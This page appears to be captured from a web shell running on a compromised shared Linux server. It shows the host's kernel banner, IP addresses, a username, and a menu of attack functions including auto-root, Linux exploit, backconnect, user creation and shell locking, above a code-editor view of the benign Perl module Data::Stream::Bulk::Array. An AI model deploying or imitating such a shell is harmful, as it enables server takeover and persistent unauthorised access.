Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Data /
Stream /
Bulk /
[ HOME SHELL ]
Name
Size
Permission
Action
Path
[ DIR ]
drwxr-xr-x
Array.pm
2.56
KB
-rw-r--r--
Callback.pm
1.53
KB
-rw-r--r--
Cat.pm
1.79
KB
-rw-r--r--
Chunked.pm
2.01
KB
-rw-r--r--
DBI.pm
2.31
KB
-rw-r--r--
DBIC.pm
1.72
KB
-rw-r--r--
DoneFlag.pm
2.15
KB
-rw-r--r--
FileHandle.pm
1.51
KB
-rw-r--r--
Filter.pm
1.87
KB
-rw-r--r--
Nil.pm
1.41
KB
-rw-r--r--
Util.pm
2.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Array.pm
package Data::Stream::Bulk::Array; BEGIN { $Data::Stream::Bulk::Array::AUTHORITY = 'cpan:NUFFIN'; } { $Data::Stream::Bulk::Array::VERSION = '0.11'; } use Moose; # ABSTRACT: L<Data::Stream::Bulk> wrapper for simple arrays. use namespace::clean -except => 'meta'; with qw(Data::Stream::Bulk) => { -excludes => [qw/loaded filter list_cat/] }; has array => ( isa => "ArrayRef", reader => "_array", writer => "_set_array", clearer => "_clear_array", predicate => "_has_array", required => 1, ); sub is_done { my $self = shift; !$self->_has_array; } sub next { my $self = shift; if ( my $array = $self->_array ) { $self->_clear_array; return $array; } else { return; } } # squish several arrays into one sub list_cat { my ( $self, @rest ) = @_; return $self unless @rest; my @arrays = ( $self ); # fetch all adjacent arrays push @arrays, shift @rest while @rest and $rest[0]->isa(__PACKAGE__); if ( @arrays > 1 ) { my @cat; push @cat, @$_ for map { $_->_array } @arrays; return __PACKAGE__->new( array => \@cat, )->cat( @rest ); } else { my $head = shift @rest; return ( $self, $head->list_cat(@rest) ); } } sub filter { my ( $self, $filter ) = @_; local $_ = $self->next; $self->_set_array( $filter->($_) ); return $self; } sub loaded { 1 } __PACKAGE__->meta->make_immutable; __PACKAGE__; =pod =head1 NAME Data::Stream::Bulk::Array - L<Data::Stream::Bulk> wrapper for simple arrays. =head1 VERSION version 0.11 =head1 SYNOPSIS return Data::Stream::Bulk::Array->new( array => \@results, ); =head1 DESCRIPTION This implementation of the L<Data::Stream::Bulk> api wraps an array. The use case is to keep the consumer of the data set implementation agnostic so that it can deal with larger data sets if they are encountered, but still retain most of the simplicity when the current data set easily fits in memory. =head1 ATTRIBUTES =over 4 =item array The array reference to wrap. =back =head1 METHODS =over 4 =item next Returns the array reference on the first invocation, and nothing thereafter. =item is_done Returns true if C<next> has been called. =item list_cat Squishes adjacent arrays into a new array. =item filter $filter Immediately applies C<$filter> to the internal array and returns C<$self>. =item loaded Returns true =back =head1 AUTHOR Yuval Kogman <nothingmuch@woobling.org> =head1 COPYRIGHT AND LICENSE This software is copyright (c) 2012 by Yuval Kogman. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut __END__
Close